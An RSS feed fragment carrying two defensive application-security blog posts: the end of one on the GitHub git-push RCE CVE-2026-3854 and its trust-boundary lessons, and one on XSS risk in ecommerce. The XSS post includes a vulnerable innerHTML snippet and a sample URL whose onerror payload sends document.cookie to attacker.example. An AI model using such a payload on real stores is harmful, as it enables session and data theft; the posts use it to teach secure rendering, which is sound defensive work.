&lt;p&gt;Wiz described using AI-augmented reverse engineering workflows to speed up that process. In particular, they used tooling such as IDA MCP to analyze compiled binaries, reconstruct internal protocols, and understand how data moved through GitHub’s Git infrastructure.&lt;/p&gt;

&lt;p&gt;That matters because many real-world systems are not easy to audit from source. Security teams often face black-box appliances, proprietary services, compiled binaries, third-party platforms, and complex multi-service architectures where the source is incomplete or unavailable.&lt;/p&gt;

&lt;p&gt;AI does not replace skilled security research. This case shows the opposite: the value came from researchers knowing what questions to ask, where to look, and how to validate the risk safely. AI-assisted reverse engineering helped accelerate the analysis, but human judgment connected the technical findings into an exploitable trust-boundary issue.&lt;/p&gt;

&lt;p&gt;For defenders, the implication is clear: attackers and researchers can increasingly use AI to understand complex systems faster. Security teams should use the same advantage for defensive review, architecture analysis, binary triage, and deeper testing of internal data flows.&lt;/p&gt;

&lt;h2&gt;
  
  
  What application teams can learn from this
&lt;/h2&gt;

&lt;p&gt;Most teams are not building GitHub-scale infrastructure. But many are building systems with the same underlying risk pattern.&lt;/p&gt;

&lt;p&gt;A web app may pass user input into an internal job queue. An API gateway may forward headers to backend services. A platform may use metadata fields to control tenant routing. An ecommerce system may pass order attributes into fulfillment workflows. A CI/CD tool may convert repository events into shell commands or environment variables.&lt;/p&gt;

&lt;p&gt;The pattern is everywhere.&lt;/p&gt;

&lt;p&gt;The defensive principles are broadly applicable.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Avoid ambiguous internal formats for security-critical data
&lt;/h3&gt;

&lt;p&gt;If fields are separated by delimiters, every component must agree on encoding, escaping, and parsing rules.&lt;/p&gt;

&lt;p&gt;Better yet, use structured formats with strict schemas and safe parsers.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Validate at trust boundaries, not only at the edge
&lt;/h3&gt;

&lt;p&gt;Input validation at the front door is useful, but data should be revalidated or constrained when it enters a new security context.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Do not let user-controlled metadata directly influence execution behavior
&lt;/h3&gt;

&lt;p&gt;If a field affects sandboxing, command execution, file paths, hooks, environment variables, or authorization decisions, treat it as security-critical.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Test authenticated low-privilege workflows
&lt;/h3&gt;

&lt;p&gt;Many serious vulnerabilities are reachable only after login. They are often missed when security testing focuses only on unauthenticated attack surfaces.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Assume internal services may receive hostile data
&lt;/h3&gt;

&lt;p&gt;Internal does not mean trusted. Internal means there is another boundary to define and defend.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Remove unnecessary dangerous code paths
&lt;/h3&gt;

&lt;p&gt;Unused execution paths, debug modes, hooks, plugins, scripts, and admin-only features can turn an input handling bug into a more serious compromise.&lt;/p&gt;

&lt;p&gt;If production does not need a capability, remove it from the runtime environment rather than relying only on code paths not being reached.&lt;/p&gt;

&lt;h2&gt;
  
  
  Questions worth asking in your own environment
&lt;/h2&gt;

&lt;p&gt;CVE-2026-3854 is a good prompt for a practical internal review.&lt;/p&gt;

&lt;p&gt;Teams should ask:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Where do we pass user-controlled data into internal headers, queues, events, or metadata?&lt;/li&gt;
&lt;li&gt;Do any internal fields control execution behavior or security policy?&lt;/li&gt;
&lt;li&gt;Are delimiter-based formats used anywhere in sensitive paths?&lt;/li&gt;
&lt;li&gt;Do different services parse the same field differently?&lt;/li&gt;
&lt;li&gt;Can low-privilege users reach backend workflows that run code, commands, hooks, or automation?&lt;/li&gt;
&lt;li&gt;Are internal service headers protected from user influence?&lt;/li&gt;
&lt;li&gt;Are logs detailed enough to reconstruct suspicious activity?&lt;/li&gt;
&lt;li&gt;Do our security tests include authenticated roles, not just anonymous users?&lt;/li&gt;
&lt;li&gt;Are there dangerous capabilities present in environments that do not need them?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These questions apply to web applications, APIs, cloud platforms, developer tools, ecommerce sites, and internal business systems.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bigger takeaway
&lt;/h2&gt;

&lt;p&gt;CVE-2026-3854 is not just a GitHub story. It is a trust boundary story.&lt;/p&gt;

&lt;p&gt;The vulnerability shows how a normal user action, a standard client, and a legitimate feature can become dangerous when user-controlled input is embedded into internal protocols without strict sanitization.&lt;/p&gt;

&lt;p&gt;The most important lesson is this: systems should not treat data as safe simply because it has moved behind the firewall, passed through an authenticated workflow, or arrived inside an internal header.&lt;/p&gt;

&lt;p&gt;Modern applications are built from chains of services. Security depends on knowing where trust begins, where it ends, and where user input can quietly cross the line between the two.&lt;/p&gt;

&lt;p&gt;For GitHub Enterprise Server operators, the immediate priority is patching and log review. For everyone else, the lasting lesson is to audit internal metadata flows before an attacker does it for you.&lt;/p&gt;




&lt;p&gt;Originally published on &lt;a href="https://wardenbit.com/posts/cve-2026-3854-what-githubs-git-push-rce-teaches-us-about-internal-trust-boundaries.html" rel="noopener noreferrer"&gt;WardenBit&lt;/a&gt;, where I write about practical application security, API risk, and the gap between systems that look secure and systems that are actually secure.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.blog/security/securing-the-git-push-pipeline-responding-to-a-critical-remote-code-execution-vulnerability/" rel="noopener noreferrer"&gt;GitHub Blog: Securing the git push pipeline&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/advisories/GHSA-64fw-jx9p-5j24" rel="noopener noreferrer"&gt;GitHub Advisory Database: GHSA-64fw-jx9p-5j24 / CVE-2026-3854&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-3854" rel="noopener noreferrer"&gt;NVD: CVE-2026-3854&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854" rel="noopener noreferrer"&gt;Wiz Research: GitHub RCE Vulnerability CVE-2026-3854 Breakdown&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>github</category>
      <category>devsecops</category>
      <category>webdev</category>
    </item>
    <item>
      <title>XSS in Ecommerce: From Unsafe Rendering to Checkout Risk</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Sat, 25 Apr 2026 12:46:13 +0000</pubDate>
      <link>https://dev.to/stanleya/xss-in-ecommerce-from-unsafe-rendering-to-checkout-risk-34hf</link>
      <guid>https://dev.to/stanleya/xss-in-ecommerce-from-unsafe-rendering-to-checkout-risk-34hf</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally published on WardenBit. This Dev.to version keeps the engineering detail and focuses on the attack path, practical impact, and remediation choices teams can act on.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Cross-site scripting still gets underestimated in modern web apps.&lt;/p&gt;

&lt;p&gt;A lot of teams hear "XSS" and think of an old-school alert box, a low-priority frontend bug, or a scanner finding to tidy up later. In ecommerce, that assumption can be expensive.&lt;/p&gt;

&lt;p&gt;When attacker-controlled input reaches a trusted browser session near account pages, search, support flows, reviews, promo components, or checkout helpers, the issue is not "JavaScript happened to run." The issue is that untrusted code can now operate inside a real customer journey — and that changes everything.&lt;/p&gt;

&lt;p&gt;That shifts XSS from a UI bug into a trusted-session and conversion-risk issue.&lt;/p&gt;

&lt;p&gt;In this post, I'll walk through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;how a small unsafe rendering path becomes an exploit chain&lt;/li&gt;
&lt;li&gt;why ecommerce is especially exposed&lt;/li&gt;
&lt;li&gt;what recent guidance says about XSS in 2026&lt;/li&gt;
&lt;li&gt;what developers should change first&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why XSS still matters
&lt;/h2&gt;

&lt;p&gt;OWASP categorises XSS as a browser-side injection problem where a trusted website ends up delivering attacker-controlled script to the victim's browser. That can lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;content manipulation&lt;/li&gt;
&lt;li&gt;session abuse&lt;/li&gt;
&lt;li&gt;credential capture&lt;/li&gt;
&lt;li&gt;data exfiltration&lt;/li&gt;
&lt;li&gt;fake prompts or payment-flow tampering&lt;/li&gt;
&lt;li&gt;redirection to attacker infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's already serious in any SaaS context.&lt;/p&gt;

&lt;p&gt;In ecommerce, the blast radius is often larger because browser-side trust sits close to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;login state&lt;/li&gt;
&lt;li&gt;customer data&lt;/li&gt;
&lt;li&gt;checkout completion&lt;/li&gt;
&lt;li&gt;embedded payment components&lt;/li&gt;
&lt;li&gt;marketing and analytics scripts&lt;/li&gt;
&lt;li&gt;support and admin workflows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even without a server-side compromise, a single browser execution point can be enough to disrupt sales, steal useful data, or set up a second-stage skimming path.&lt;/p&gt;

&lt;h2&gt;
  
  
  A realistic engineering path from bug to incident
&lt;/h2&gt;

&lt;p&gt;Imagine a store with a modern frontend and a mix of first- and third-party browser code. There is one weak rendering path in a feature like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a search parameter reflected into the page&lt;/li&gt;
&lt;li&gt;a promo code helper that writes raw values into the DOM&lt;/li&gt;
&lt;li&gt;a product review field replayed in an internal dashboard&lt;/li&gt;
&lt;li&gt;a support note or return message rendered without proper encoding&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The exact source varies. The chain is usually familiar.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Untrusted input reaches a dangerous sink
&lt;/h3&gt;

&lt;p&gt;The root cause is often simple:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;innerHTML&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;unsafe templating&lt;/li&gt;
&lt;li&gt;direct DOM insertion&lt;/li&gt;
&lt;li&gt;a framework escape hatch&lt;/li&gt;
&lt;li&gt;incomplete sanitisation&lt;/li&gt;
&lt;li&gt;encoding applied in the wrong context&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A classic example looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;q&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#search-label&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Results for: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;q&lt;/code&gt; is attacker-controlled, you have turned a convenience shortcut into a script execution sink. An attacker could craft a URL like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://shop.example.com/search?q=&amp;lt;img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)"&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A safer version is usually boring on purpose:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;q&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;q&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#search-label&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Results for: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That one substitution often marks the difference between displaying user input and executing it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The attacker uses trust, not brute force
&lt;/h3&gt;

&lt;p&gt;Once a page reflects or stores executable input, the attacker no longer needs shell access or a backend foothold.&lt;/p&gt;

&lt;p&gt;They can distribute a crafted link through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;phishing pretexts&lt;/li&gt;
&lt;li&gt;fake delivery updates&lt;/li&gt;
&lt;li&gt;support impersonation&lt;/li&gt;
&lt;li&gt;ad/affiliate abuse&lt;/li&gt;
&lt;li&gt;compromised social messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the victim lands on the real store domain and the browser executes the payload in-site, the attacker inherits the trust of that origin.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Script execution turns into business impact
&lt;/h3&gt;

&lt;p&gt;From the browser, attacker code may be able to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;read visible page data&lt;/li&gt;
&lt;li&gt;alter messaging during checkout&lt;/li&gt;
&lt;li&gt;inject fake login or coupon prompts&lt;/li&gt;
&lt;li&gt;intercept form values before submission&lt;/li&gt;
&lt;li&gt;insert external loaders&lt;/li&gt;
&lt;li&gt;tamper with account workflows&lt;/li&gt;
&lt;li&gt;harvest sensitive state if other controls are weak&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even where &lt;code&gt;HttpOnly&lt;/code&gt; cookies reduce session-token theft, XSS remains dangerous. The attacker often doesn't need the raw cookie value to create loss — running actions inside the victim's active session, changing UX, and exfiltrating data from the page can be enough.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why ecommerce is different
&lt;/h2&gt;

&lt;p&gt;In ecommerce, frontend code is frequently asked to do too much.&lt;/p&gt;

&lt;p&gt;Teams ship quickly. Marketing needs scripts. Product needs widgets. Support tools get embedded. Reviews, referrals, analytics, personalisation, A/B testing, chat, and payment elements all share browser real estate.&lt;/p&gt;

&lt;p&gt;That creates three patterns defenders should pay attention to.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The browser is part of the revenue path
&lt;/h3&gt;

&lt;p&gt;A vulnerability on a brochure page is not the same as a vulnerability next to cart, account, or checkout state.&lt;/p&gt;

&lt;p&gt;The closer an execution point is to payment actions, identity flows, account management, or customer support — the more likely it becomes that a "frontend bug" produces measurable revenue loss.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Third-party script sprawl increases uncertainty
&lt;/h3&gt;

&lt;p&gt;Many teams know their backend asset inventory better than their browser estate. That's a problem.&lt;/p&gt;

&lt;p&gt;If you can't answer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;what scripts run on sensitive pages&lt;/li&gt;
&lt;li&gt;who owns them&lt;/li&gt;
&lt;li&gt;why they are there&lt;/li&gt;
&lt;li&gt;what permissions they effectively have&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;…then your practical attack surface is larger than your code repository suggests.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. XSS overlaps with skimming concerns
&lt;/h3&gt;

&lt;p&gt;Recent PCI and ecommerce guidance keeps pushing the same message: browser-side compromise matters because that is where customer value is collected.&lt;/p&gt;

&lt;p&gt;Not every XSS issue becomes Magecart-style abuse, but the overlap in commercial concern is real:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;payment-flow manipulation&lt;/li&gt;
&lt;li&gt;hostile JavaScript on sensitive pages&lt;/li&gt;
&lt;li&gt;data theft before submission&lt;/li&gt;
&lt;li&gt;redirection to attacker-controlled domains&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is why XSS deserves more than checkbox treatment on ecommerce properties.&lt;/p&gt;

&lt;h2&gt;
  
  
  Current signals that this is still a live problem
&lt;/h2&gt;

&lt;p&gt;Several recent guidance and trend signals reinforce that XSS remains strategically relevant:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OWASP&lt;/strong&gt; continues to emphasise correct context-aware output encoding, safe sinks, and cautious handling of framework escape hatches.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CISA/FBI&lt;/strong&gt; secure-by-design messaging in late 2024 explicitly called for eliminating XSS as a defect class — not just patching isolated bugs forever.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PCI-related guidance&lt;/strong&gt; has continued to focus merchant attention on payment-page script integrity and unauthorised browser-side changes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ecommerce threat reporting&lt;/strong&gt; through 2024 and 2025 showed continued skimmer and browser-compromise activity against legitimate stores.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The takeaway for engineers: the browser is still an attack surface that can turn directly into commercial loss.&lt;/p&gt;

&lt;h2&gt;
  
  
  What developers should review first
&lt;/h2&gt;

&lt;p&gt;If you are trying to reduce real XSS risk, start with the paths that combine exposure and business impact.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Find unsafe sinks before you chase edge-case payloads
&lt;/h3&gt;

&lt;p&gt;Search the codebase and rendering paths for patterns such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;innerHTML&lt;/code&gt; / &lt;code&gt;outerHTML&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;insertAdjacentHTML&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;template interpolation into raw HTML&lt;/li&gt;
&lt;li&gt;dangerous markdown/HTML rendering paths&lt;/li&gt;
&lt;li&gt;legacy DOM manipulation helpers&lt;/li&gt;
&lt;li&gt;custom sanitisers with unclear guarantees&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also inspect admin tools and support dashboards — not just public-facing pages. A stored payload in an internal workflow is often more dangerous than a reflected one on a marketing page.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Match encoding to the real output context
&lt;/h3&gt;

&lt;p&gt;A common failure mode is treating "sanitise user input" as a universal answer. It is not.&lt;/p&gt;

&lt;p&gt;HTML body, HTML attribute, URL, JavaScript, and CSS contexts each have different rules. Correct encoding depends on where the data actually lands. If your team cannot explain the sink and context, you probably don't have enough confidence in the defence.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Prefer safe sinks by default
&lt;/h3&gt;

&lt;p&gt;Where the requirement is to display text, use APIs that keep it as text:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;textContent&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;controlled &lt;code&gt;setAttribute&lt;/code&gt; for safe attributes&lt;/li&gt;
&lt;li&gt;framework-native escaped rendering paths&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unsafe-by-default shortcuts should require explicit justification — and code review sign-off.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Treat rich text as a special case
&lt;/h3&gt;

&lt;p&gt;If the business genuinely needs HTML input, use a strict allow-list sanitiser and keep the allowed surface small.&lt;/p&gt;

&lt;p&gt;"Trusted because it came from our CMS" or "trusted because support staff entered it" is not a defence if the value can be replayed into a browser and later abused.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Reduce third-party risk on sensitive pages
&lt;/h3&gt;

&lt;p&gt;On login, account, and checkout-adjacent routes, review:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;whether each third-party script is necessary&lt;/li&gt;
&lt;li&gt;whether it can be moved off the critical path&lt;/li&gt;
&lt;li&gt;whether stronger CSP rules are possible&lt;/li&gt;
&lt;li&gt;whether inline execution can be reduced&lt;/li&gt;
&lt;li&gt;whether integrity checks, change monitoring, or tighter script governance exist&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6. Test the journey, not just the component
&lt;/h3&gt;

&lt;p&gt;Many teams validate XSS at the component level but miss the operational question:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What can a payload do inside a real account session?&lt;/li&gt;
&lt;li&gt;What sensitive workflows are exposed nearby?&lt;/li&gt;
&lt;li&gt;Can it alter the checkout path?&lt;/li&gt;
&lt;li&gt;Can it harvest anything useful from the page?&lt;/li&gt;
&lt;li&gt;Can it pivot into support or admin tooling?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those are the questions that turn a scanner finding into an actual severity decision.&lt;/p&gt;

&lt;h2&gt;
  
  
  A quick triage model for ecommerce teams
&lt;/h2&gt;

&lt;p&gt;When you find XSS or suspicious unsafe rendering, triage it with these questions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Is the issue reflected, stored, or DOM-based?&lt;/li&gt;
&lt;li&gt;Does it execute on public pages, authenticated pages, or staff-only workflows?&lt;/li&gt;
&lt;li&gt;Is it near account data, checkout data, or support/admin tooling?&lt;/li&gt;
&lt;li&gt;Can it alter visible trust signals or action flows?&lt;/li&gt;
&lt;li&gt;Can it introduce or load external attacker-controlled resources?&lt;/li&gt;
&lt;li&gt;What controls already reduce impact: CSP, &lt;code&gt;HttpOnly&lt;/code&gt;, same-site cookies, token design, isolation, monitoring?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If exploited at scale for 3–4 days, what would the business actually feel?&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That last question is often what gets missing urgency back into the conversation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The engineering lesson
&lt;/h2&gt;

&lt;p&gt;The most useful mental shift is this:&lt;/p&gt;

&lt;p&gt;XSS is not important because of the payload demo. It is important because of &lt;em&gt;execution inside trust&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Once untrusted code runs in the browser of a real customer on a real store, the question becomes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What does the user trust here?&lt;/li&gt;
&lt;li&gt;What can the script observe?&lt;/li&gt;
&lt;li&gt;What can it change?&lt;/li&gt;
&lt;li&gt;What business process depends on this page behaving honestly?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is why practical security reviews still matter even when teams already run scanners and linters. Automated tools are helpful, but they don't always tell you whether a given rendering flaw can actually interfere with commerce, customer trust, or recovery cost.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final takeaway
&lt;/h2&gt;

&lt;p&gt;For ecommerce teams, XSS should not be filed under "minor frontend issue" by default.&lt;/p&gt;

&lt;p&gt;It belongs in the same conversation as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;checkout resilience&lt;/li&gt;
&lt;li&gt;client-side script governance&lt;/li&gt;
&lt;li&gt;payment-page integrity&lt;/li&gt;
&lt;li&gt;account security&lt;/li&gt;
&lt;li&gt;incident cost&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your application handles customer journeys in the browser, the right question is not whether XSS is old.&lt;/p&gt;

&lt;p&gt;It is whether your current frontend patterns make unsafe rendering impossible, rare, or easy for an attacker to turn into a bad week.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Canonical version: WardenBit blog article on ecommerce XSS risk. If you want, I can also turn this into a code-review checklist for React/Next.js teams or a tester's validation checklist for browser-side security findings.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>xss</category>
      <category>security</category>
      <category>ecommerce</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
